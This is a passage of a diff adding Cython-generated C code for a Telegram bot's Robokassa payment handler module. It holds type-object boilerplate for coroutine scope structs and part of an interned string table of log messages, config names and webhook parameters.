__pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_3_process_custom_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_3_process_custom_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_4_handle_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_4_handle_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_kp_u_Created_new_connection_for_user, __pyx_k_Created_new_connection_for_user, sizeof(__pyx_k_Created_new_connection_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Displayed_amount_selection_for_u, __pyx_k_Displayed_amount_selection_for_u, sizeof(__pyx_k_Displayed_amount_selection_for_u), 0, 1, 0, 0}, + {&__pyx_kp_u_Error_processing_webhook, __pyx_k_Error_processing_webhook, sizeof(__pyx_k_Error_processing_webhook), 0, 1, 0, 0}, + {&__pyx_kp_u_Expected_signature, __pyx_k_Expected_signature, sizeof(__pyx_k_Expected_signature), 0, 1, 0, 0}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_kp_u_Generated_payment_link, __pyx_k_Generated_payment_link, sizeof(__pyx_k_Generated_payment_link), 0, 1, 0, 0}, + {&__pyx_kp_u_Generated_payment_link_for_user, __pyx_k_Generated_payment_link_for_user, sizeof(__pyx_k_Generated_payment_link_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Generating_payment_link_for_amou, __pyx_k_Generating_payment_link_for_amou, sizeof(__pyx_k_Generating_payment_link_for_amou), 0, 1, 0, 0}, + {&__pyx_n_s_HashAlgorithm, __pyx_k_HashAlgorithm, sizeof(__pyx_k_HashAlgorithm), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardMarkup, __pyx_k_InlineKeyboardMarkup, sizeof(__pyx_k_InlineKeyboardMarkup), 0, 0, 1, 1}, + {&__pyx_n_u_InvId, __pyx_k_InvId, sizeof(__pyx_k_InvId), 0, 1, 0, 1}, + {&__pyx_kp_u_InvId_2, __pyx_k_InvId_2, sizeof(__pyx_k_InvId_2), 0, 1, 0, 0}, + {&__pyx_n_u_OK, __pyx_k_OK, sizeof(__pyx_k_OK), 0, 1, 0, 1}, + {&__pyx_n_u_OutSum, __pyx_k_OutSum, sizeof(__pyx_k_OutSum), 0, 1, 0, 1}, + {&__pyx_kp_u_OutSum_2, __pyx_k_OutSum_2, sizeof(__pyx_k_OutSum_2), 0, 1, 0, 0}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_URL_for_user, __pyx_k_Payment_URL_for_user, sizeof(__pyx_k_Payment_URL_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Payment_link_sent_to_user, __pyx_k_Payment_link_sent_to_user, sizeof(__pyx_k_Payment_link_sent_to_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Payment_successful_Balance_updat, __pyx_k_Payment_successful_Balance_updat, sizeof(__pyx_k_Payment_successful_Balance_updat), 0, 1, 0, 0}, + {&__pyx_kp_u_Processing_payment_for_user, __pyx_k_Processing_payment_for_user, sizeof(__pyx_k_Processing_payment_for_user), 0, 1, 0, 0}, + {&__pyx_n_s_ROBOKASSA_ENABLE, __pyx_k_ROBOKASSA_ENABLE, sizeof(__pyx_k_ROBOKASSA_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_LOGIN, __pyx_k_ROBOKASSA_LOGIN, sizeof(__pyx_k_ROBOKASSA_LOGIN), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_PASSWORD1, __pyx_k_ROBOKASSA_PASSWORD1, sizeof(__pyx_k_ROBOKASSA_PASSWORD1), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_PASSWORD2, __pyx_k_ROBOKASSA_PASSWORD2, sizeof(__pyx_k_ROBOKASSA_PASSWORD2), 0, 0, 1, 1}, + {&__pyx_n_s_ROBOKASSA_TEST_MODE, __pyx_k_ROBOKASSA_TEST_MODE, sizeof(__pyx_k_ROBOKASSA_TEST_MODE), 0, 0, 1, 1}, + {&__pyx_kp_u_Received_signature, __pyx_k_Received_signature, sizeof(__pyx_k_Received_signature), 0, 1, 0, 0}, + {&__pyx_kp_u_Received_webhook_params, __pyx_k_Received_webhook_params, sizeof(__pyx_k_Received_webhook_params), 0, 1, 0, 0}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Robokassa, __pyx_k_Robokassa, sizeof(__pyx_k_Robokassa), 0, 0, 1, 1}, + {&__pyx_kp_u_Robokassa_initialized_with_login, __pyx_k_Robokassa_initialized_with_login, sizeof(__pyx_k_Robokassa_initialized_with_login), 0, 1, 0, 0}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_u_SignatureValue, __pyx_k_SignatureValue, sizeof(__pyx_k_SignatureValue), 0, 1, 0, 1}, + {&__pyx_kp_u_SignatureValue_2, __pyx_k_SignatureValue_2, sizeof(__pyx_k_SignatureValue_2), 0, 1, 0, 0}, + {&__pyx_kp_u_Signature_string_before_hashing, __pyx_k_Signature_string_before_hashing, sizeof(__pyx_k_Signature_string_before_hashing), 0, 1, 0, 0}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_kp_u_User, __pyx_k_User, sizeof(__pyx_k_User), 0, 1, 0, 0}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 0}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_n_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 1}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__29, __pyx_k__29, sizeof(__pyx_k__29), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_kp_u__30, __pyx_k__30, sizeof(__pyx_k__30), 0, 1, 0, 0}, + {&__pyx_n_s__31, __pyx_k__31, sizeof(__pyx_k__31), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_n_s__42, __pyx_k__42, sizeof(__pyx_k__42), 0, 0, 1, 1}, + {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_kp_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 0}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_algorithm, __pyx_k_algorithm, sizeof(__pyx_k_algorithm), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_kp_u_callback_data_2, __pyx_k_callback_data_2, sizeof(__pyx_k_callback_data_2), 0, 1, 0, 0}, + {&__pyx_kp_u_callback_data_3, __pyx_k_callback_data_3, sizeof(__pyx_k_callback_data_3), 0, 1, 0, 0}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, 